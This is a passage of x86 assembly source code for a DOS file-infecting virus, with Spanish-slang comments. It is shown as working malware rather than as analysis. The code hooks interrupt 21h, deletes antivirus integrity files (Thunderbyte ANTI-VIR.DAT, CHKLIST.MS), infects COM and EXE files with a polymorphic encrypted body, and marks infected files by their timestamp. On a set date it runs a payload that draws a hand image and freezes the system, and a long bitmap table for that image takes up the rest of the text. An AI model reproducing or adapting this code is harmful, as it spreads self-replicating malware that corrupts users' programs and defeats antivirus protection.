;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

install_check: cmp esi,"ANTI" ; Is it our check?


je reponde_cabron
jmp crypt_leave21h
reponde_cabron: pushf ; Interrupt 21h
call dword ptr cs:[old21h]
mov esi,"ETA!" ; I am here!!!
iret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Store name of the file to execute ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypt_area03h equ this byte


store_filename: db 0EBh,00h ; Clear prefetch
cmp ah,6Ch ; Extended open?
je is_extended
mov si,dx
is_extended: push cs
pop es
cmp ah,4Bh ; Execute?
jne use_openbuff
mov di,offset exec_filename ; File to execute
jmp ok_buff_off
use_openbuff: mov di,offset open_filename ; File to open
ok_buff_off: push di
mov ah,60h ; Get complete
int 21h ; filename
push cs
pop ds
call hook_24h_03h
pop si
mov dx,offset del_this_shit01 ; Delete Thunderbyte
call delete_file ; ANTI-VIR.DAT files
mov dx,offset del_this_shit02 ; And CHKLIST.MS shit
call delete_file
call free_24h_03h
jmp exit21h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ File infection ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

infect_program: db 0EBh,00h ; Clear prefetch


push cs
pop ds
call hook_24h_03h
cmp ah,4Ch ; Terminate?
jne infect_close
mov si,offset exec_filename ; Filename off to SI
jmp ok_infect_off
infect_close: mov si,offset open_filename ; Filename off to SI
ok_infect_off: mov ah,19h ; Get current drive
int 03h
add al,"A"
cmp byte ptr ds:[si],al ; Infect files only
jne exit_inf ; in current drive
mov bx,si ; Position of \
mov dx,si ; For later use
mov cx,0080h ; Max path
cld
next_char: lodsb ; Get character
cmp al,"\"
je found_slash
or al,al ; End of string?
je found_00h
cmp al,"V" ; Is char a V?
je exit_inf
cmp al,"0" ; Is char a digit?
jb ok_character
cmp al,"9"
jbe exit_inf
ok_character: loop next_char
jmp short exit_inf
found_slash: mov bx,si
jmp short ok_character
found_00h: mov eax,dword ptr ds:[bx] ; Get file name
cmp ax,"BT" ; Thunderbyte utils?
je exit_inf
cmp eax,"NACS" ; SCAN.EXE?
je exit_inf
cmp eax,".NIW" ; WIN.COM?
je exit_inf
cmp eax,"MMOC" ; COMMAND.COM?
je exit_inf
mov eax,dword ptr ds:[si-05h] ; Get extension
cmp eax,"MOC." ; Is it a COM file?
je go_into_file
cmp eax,"EXE." ; What about EXE?
je go_into_file
exit_inf: call free_24h_03h ; Restore ints
jmp exit21h ; 3, 24h and exit
go_into_file: mov ax,4300h ; Get file attrib
int 03h
jc exit_inf
mov word ptr ds:[file_attr],cx ; Save it
mov ax,4301h ; Clear attributes
xor cx,cx
int 03h
jc exit_inf
mov ax,3D02h ; Open file r/w
int 03h
jnc save_date_time
file_error_1: mov ax,4301h ; Restore saved
mov cx,word ptr ds:[file_attr] ; file attribute
int 03h
jmp short exit_inf
save_date_time: xchg bx,ax ; Get handle
mov ax,5700h ; Get date/time
int 03h
jnc done_date_time
file_error_2: mov ah,3Eh ; If error, close
int 03h ; file and restore
jmp short file_error_1 ; attribute
done_date_time: mov word ptr ds:[file_time],cx ; Save file time
mov word ptr ds:[file_date],dx ; Save file date
and cl,1Fh ; Check if file is
cmp cl,0Ah ; already infected
je file_error_3
mov ah,3Fh ; Read file header
mov cx,001Ch
mov dx,offset inf_header
mov si,dx
int 03h
jc file_error_3
call seek_end ; Seek to EOF and
jc file_error_3 ; get file size
mov ax,word ptr ds:[file_size]
mov dx,word ptr ds:[file_size+02h]
or dx,dx
jnz ok_min_size
cmp ax,inf_byte_size ; Too small file?
jb file_error_3
ok_min_size: mov ax,word ptr ds:[si]
add al,ah
cmp al,"M"+"Z"
je inf_exe_file
jmp inf_com_file
file_error_3: mov ax,5701h
mov cx,word ptr ds:[file_time] ; Restore time
mov dx,word ptr ds:[file_date] ; And date
int 03h
jmp file_error_2

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Infect COM files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

inf_com_file: or dx,dx ; Huh? this COM


jnz file_error_3 ; file is strange...
mov ax,word ptr ds:[file_size] ; Avoid too big COM
cmp ax,0FFFFh-(inf_byte_size+02h) ; files
jae file_error_3
call backup_header ; Save header
sub ax,03h ; Write a jump
mov byte ptr ds:[si+00h],0E9h ; to the viral code
mov word ptr ds:[si+01h],ax
add ax,0103h
mov word ptr ds:[delta],ax ; Save delta offsets
mov dword ptr ds:[host_type],".COM" ; Set host type
jmp write_body

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect EXE files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

inf_exe_file: cmp word ptr ds:[si+19h],0040h ; Avoid Windows shit


jae file_error_3
cmp word ptr ds:[si+1Ah],0000h ; Avoid overlays
jne file_error_3
cmp word ptr ds:[si+0Ch],0FFFFh ; Check maxmem
jne file_error_3
call backup_header ; Save header
push word ptr ds:[si+14h] ; Build a jump to
pop word ptr ds:[exe_ip_cs] ; the original entry
push word ptr ds:[si+16h] ; point
pop word ptr ds:[exe_ip_cs+02h]
mov ax,word ptr ds:[file_size] ; Get file size
mov dx,word ptr ds:[file_size+02h] ; div 0010h
mov cx,0010h
div cx
sub ax,word ptr ds:[si+08h] ; Sub header size
mov word ptr ds:[si+14h],dx ; New entry point at
mov word ptr ds:[si+16h],ax ; file end
mov word ptr ds:[delta],dx ; Save delta offset
inc ax ; New stack segment
mov word ptr ds:[si+0Eh],ax ; in load module
add dx,inf_byte_size+0200h ; Move stack pointer
and dx,0FFFEh ; using word aligment
mov word ptr ds:[si+10h],dx
mov ax,word ptr ds:[file_size] ; Get file size
mov dx,word ptr ds:[file_size+02h] ; div 0200h
mov cx,0200h
div cx
or dx,dx
jz size_round_1
inc ax
size_round_1: cmp ax,word ptr ds:[si+04h] ; Check if file
jne exit_header ; size is as header
cmp dx,word ptr ds:[si+02h] ; says
je ok_file_size
exit_header: jmp file_error_3
ok_file_size: mov dword ptr ds:[host_type],".EXE" ; Set host type

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Append virus body to our victim ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

write_body: push bx
mov si,inf_para_size*02h ; Allocate memory
call mem_alloc ; for poly decryptor
pop bx ; and virus body
or di,di
jz no_memory
push bx
mov es,di
xor di,di
call gen_polymorph
add word ptr ds:[delta],di ; Save delta offset
mov ax,word ptr ds:[eng_entry_point]
mov si,offset inf_header
cmp dword ptr ds:[host_type],".EXE"
je fix_exe
fix_com: add word ptr ds:[si+01h],ax ; Add to jmp
jmp short entry_size_fix
fix_exe: add word ptr ds:[si+14h],ax ; Add to IP
mov ax,word ptr ds:[file_size] ; Get file size
mov dx,word ptr ds:[file_size+02h]
add ax,inf_byte_size ; Add virus size
adc dx,0000h ; to file size
add ax,di ; Add decryptor size
adc dx,0000h ; to file size
mov cx,0200h ; Get infected file
div cx ; size div 0200h
or dx,dx
jz size_round_2
inc ax
size_round_2: mov word ptr ds:[si+02h],dx ; Store new size
mov word ptr ds:[si+04h],ax ; on header
entry_size_fix: xor si,si
mov cx,inf_byte_size
rep movsb
push di
push es
pop ds
call crypto03h ; Crypt area 03h
call crypto02h ; Crypt area 02h
call crypto01h ; Crypt area 01h
call gen_encryption
mov ah,40h ; Write virus body
pop cx ; at EOF
pop bx
xor dx,dx
int 03h
jc no_write
call seek_begin
push cs
pop ds
mov ah,40h ; Write infected
mov cx,001Ch ; header
mov dx,offset inf_header
int 03h
mov al,byte ptr ds:[file_time] ; Mark file as
and al,0E0h ; infected using
or al,0Ah ; time stamp
mov byte ptr ds:[file_time],al ; (seconds=0Ah)
no_write: mov ah,49h ; Free allocated
int 03h ; memory
push cs
pop ds
mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta
no_memory: jmp file_error_3

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Time for activation? ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

try_activation: db 0EBh,00h ; Clear prefetch


mov ah,04h ; Check if time
int 1Ah ; to activate
cmp dx,0710h
jne drop_virus

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Activation routine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

do_payload: mov ax,0013h ; Set video mode


int 10h ; 320x200x256c
mov ax,0A000h ; Decompress our
mov es,ax ; image over video
mov si,offset image_data ; memory
xor di,di
mov cx,100 ; 100 scan lines
loop_compress: push cx
mov cx,20
next_string: push cx
lodsb
mov dl,al
mov cx,8 ; Get 8 pixels
compress_byte: xor al,al
test dl,128
jz pixel_ready
mov al,07h
pixel_ready: push di
add di,320
stosb
stosb
pop di
stosb
stosb
shl dl,01h
loop compress_byte ; Next pixel
pop cx ; Next 8 byte group
loop next_string
pop cx ; Next scan
add di,320
loop loop_compress
stay_quiet: jmp stay_quiet

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Image for the virus payload (white hand) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

image_data equ this byte


db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 001h,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,007h,0FEh,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FEh
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,03Fh,0FEh,000h,000h,000h,000h,00Fh,0F0h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FEh,000h,000h
db 000h,000h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,001h,0FFh,0FEh,000h,000h,000h,001h,0FFh,0F8h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FCh,000h,000h,000h,003h
db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh
db 0FFh,0FCh,000h,000h,000h,00Fh,0FFh,0F8h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,01Fh,0FFh,0FCh,000h,000h,000h,03Fh,0FFh,0F8h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FCh
db 000h,000h,000h,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,07Fh,0FFh,0FCh,000h,000h,003h,0FFh,0FFh,0F0h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0F8h,000h,000h
db 00Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 001h,0FFh,0FFh,0F0h,000h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h,000h,000h,07Fh,0FFh
db 0FFh,080h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh
db 0FFh,0C0h,000h,001h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,03Fh,0FFh,0FFh,0C0h,000h,007h,0FFh,0FFh,0FCh,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,080h
db 000h,01Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,07Fh,0FFh,0FEh,000h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FCh,000h,000h,0FFh
db 0FFh,0FFh,0C0h,000h,003h,0F0h,000h,000h,000h,000h,000h,000h,000h,003h
db 0FFh,0FFh,0F8h,000h,001h,0FFh,0FFh,0FFh,080h,000h,01Fh,0F8h,000h,000h
db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0F0h,000h,003h,0FFh,0FFh,0FFh
db 000h,001h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh
db 0C0h,000h,007h,0FFh,0FFh,0FCh,000h,007h,0FFh,0F0h,000h,000h,000h,000h
db 000h,000h,000h,01Fh,0FFh,0FFh,080h,000h,01Fh,0FFh,0FFh,0E0h,000h,03Fh
db 0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,000h,000h
db 03Fh,0FFh,0FFh,080h,000h,07Fh,0FFh,0E0h,000h,000h,000h,000h,000h,000h
db 000h,0FFh,0FFh,0FEh,000h,003h,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0C0h
db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FEh,000h,007h,0FFh,0FFh
db 0F8h,000h,003h,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,001h,0FFh
db 0FFh,0FCh,000h,00Fh,0FFh,0FFh,0F0h,000h,007h,0FFh,0FFh,080h,000h,000h
db 000h,000h,000h,000h,003h,0FFh,0FFh,0F8h,000h,03Fh,0FFh,0FFh,0E0h,000h
db 01Fh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h
db 000h,07Fh,0FFh,0FFh,0C0h,000h,07Fh,0FFh,0F8h,000h,000h,000h,000h,000h
db 000h,000h,007h,0FFh,0FFh,0C0h,000h,0FFh,0FFh,0FFh,000h,001h,0FFh,0FFh
db 0F0h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,080h,001h,0FFh
db 0FFh,0FCh,000h,003h,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h
db 03Fh,0FFh,0FCh,000h,007h,0FFh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,000h,000h
db 000h,000h,000h,000h,000h,000h,07Fh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,0F0h
db 000h,01Fh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh
db 0F8h,000h,0FFh,0FFh,0FFh,0E0h,000h,07Fh,0FFh,0FEh,000h,000h,000h,000h
db 000h,000h,000h,000h,07Fh,0FFh,0FCh,03Fh,0FFh,0FFh,0FFh,000h,003h,0FFh
db 0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FEh,000h,00Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h
db 000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,01Fh,0FFh,0FFh,0F0h
db 000h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0F0h,001h,0FFh,0FFh,0FFh,0E0h,000h,003h,0F0h,000h,000h,000h,000h,00Fh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,007h,0FFh,0FFh,0FFh,080h,000h,00Fh
db 0FCh,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,0FFh
db 0FFh,0FFh,0FFh,000h,000h,03Fh,0FCh,000h,000h,000h,000h,03Fh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0EFh,0FFh,0FFh,0FFh,0FCh,000h,000h,07Fh,0FCh,000h
db 000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0E0h,000h,000h,0FFh,0F8h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,007h,0FFh,0F8h,000h,000h,000h
db 000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h
db 0FFh,0FFh,0F8h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0F8h,000h,000h,000h,003h,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,003h,0FFh,0FFh
db 0F8h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0C0h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,007h,0FFh,0FFh,0FFh,0E0h,000h
db 000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h
db 07Fh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0F0h,000h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,003h,0FFh,0FFh
db 0FFh,0FCh,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0F8h,000h,01Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,003h,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,001h,0FFh,0FFh,0FFh,0FFh,080h
db 000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h
db 007h,0FFh,0FFh,0FFh,0FEh,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,01Fh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h
db 000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,07Fh,0FFh
db 0FFh,0FFh,0C0h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,00Fh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh
db 000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,03Fh,0F0h,0F1h
db 0C8h,004h,07Fh,0FEh,002h,001h,087h,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h
db 000h,000h,000h,07Fh,0F0h,071h,0C8h,004h,07Fh,0FEh,002h,001h,007h,0FFh
db 0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,0FFh,0E0h,070h,0CFh,01Ch
db 07Fh,0FEh,03Fh,08Fh,003h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h
db 001h,0FFh,0E2h,070h,04Fh,01Ch,07Fh,0FEh,003h,08Fh,023h,0FFh,0FFh,0FFh
db 0FEh,000h,000h,000h,000h,000h,001h,0FFh,0E2h,032h,00Fh,01Ch,07Ch,03Eh
db 003h,08Eh,023h,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,001h,0FFh
db 0C0h,033h,00Fh,01Ch,07Ch,03Eh,03Fh,08Eh,001h,0FFh,0FFh,0FFh,0C0h,000h
db 000h,000h,000h,000h,001h,0FFh,0C0h,013h,08Fh,01Ch,07Fh,0FEh,003h,08Ch
db 001h,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,001h,0FFh,0C7h,013h
db 08Fh,01Ch,07Fh,0FEh,003h,08Ch,071h,0FFh,0FFh,0F0h,000h,000h,000h,000h
db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0E0h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h
db 001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h
db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h
db 000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0E0h,000h,000h,000h,0FFh,0C0h,000h,000h,000h,000h,000h,007h
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,001h,0FFh,0FFh,0E0h
db 000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0E0h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,007h,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,003h,0FFh,0FFh,0FFh,0E0h,000h,000h
db 000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,03Fh
db 0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0C0h,07Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h
db 000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E1h,0FFh,0FFh,0FFh
db 0FFh,0C0h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h
db 003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h
db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h
db 000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h
db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,07Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh
db 0FFh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
